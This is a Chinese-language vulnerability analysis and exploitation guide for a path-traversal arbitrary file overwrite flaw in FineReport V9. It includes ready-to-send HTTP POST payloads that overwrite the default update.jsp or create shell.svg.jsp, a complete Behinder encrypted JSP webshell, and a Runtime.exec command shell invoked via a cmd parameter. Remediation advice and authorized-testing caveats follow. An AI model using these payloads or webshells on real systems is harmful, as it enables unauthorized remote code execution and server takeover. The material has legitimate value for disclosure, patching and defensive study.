帆软(FineReport) V9任意文件覆盖漏洞
字数 1227 2025-08-05 08:17:46
帆软(FineReport) V9 任意文件覆盖漏洞分析与利用
漏洞简介
帆软(FineReport) V9 版本中存在一个任意文件覆盖漏洞,攻击者可以利用该漏洞覆盖服务器上的已有文件(如 JSP 文件),从而获取服务器权限。该漏洞在近期HVV(红队评估)中被披露。
漏洞影响范围
- WebReport V9 版本
漏洞分析
漏洞位置
漏洞主要存在于以下两个类中:
fr-chart-9.0.jar包中的com.fr.chart.web/ChartSvgInitService类fr-chart-9.0.jar包中的com.fr.chart.web/ChartSaveSvgAction类
漏洞原理
- 通过
op参数传递值svginit触发漏洞 - 通过
cmd参数传递design_save_svg命令 - 通过
filePath参数传递需要初始化的 svg 文件路径 - 系统会将
filePath参数中chartmapsvg及后面的所有字符串拼接到 WebReport 目录下WEB-INF/assets/之后
文件处理逻辑
-
如果生成的路径包含
.svg后缀:- 系统会创建该文件
- 将
var7的内容写入创建的文件
-
如果生成的路径不包含
.svg后缀:- 系统会递归创建该目录
- 无法写入数据到非 svg 文件
- 但如果目标文件已存在(如 JSP 文件),则可以覆盖文件内容
关键安全问题
- 路径拼接时未过滤
../,导致存在路径穿越漏洞 - 可以覆盖服务器上已存在的任意文件
- 默认安装中包含
update.jsp和update1.jsp文件,为攻击者提供了便利
漏洞利用
方法一:覆盖现有 JSP 文件
-
构造 Payload 覆盖
update.jsp文件内容:POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg../../update.jsp HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded __CONTENT__=<%out.println("test");%> -
访问
update.jsp验证是否覆盖成功 -
将文件内容替换为 WebShell(如冰蝎木马),注意转义双引号:
__CONTENT__=<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%> -
通过冰蝎等工具连接获取服务器权限
方法二:创建新 WebShell 文件(无损利用)
-
构造 Payload 创建新的 WebShell 文件:
POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg../../shell.svg.jsp HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded __CONTENT__=<%Runtime.getRuntime().exec(request.getParameter("cmd"));%> -
访问创建的文件并执行命令:
http://target.com/WebReport/shell.svg.jsp?cmd=whoami
修复建议
- 严格过滤
filePath参数的值,禁止路径穿越字符../ - 使用路径和文件后缀白名单机制
- 删除默认的
update.jsp和update1.jsp页面 - 升级 FineReport 到最新版本
批量检测工具
可以开发或使用现有工具批量检测该漏洞,检测逻辑应包括:
- 检查目标是否存在
/WebReport/update.jsp等默认文件 - 尝试写入测试文件验证漏洞是否存在
- 注意不要对目标系统造成破坏
注意事项
- 漏洞利用可能对目标系统造成破坏,应在授权范围内进行测试
- 批量检测时应注意请求频率,避免对目标系统造成拒绝服务
- 该漏洞需要写入权限,不同环境可能存在差异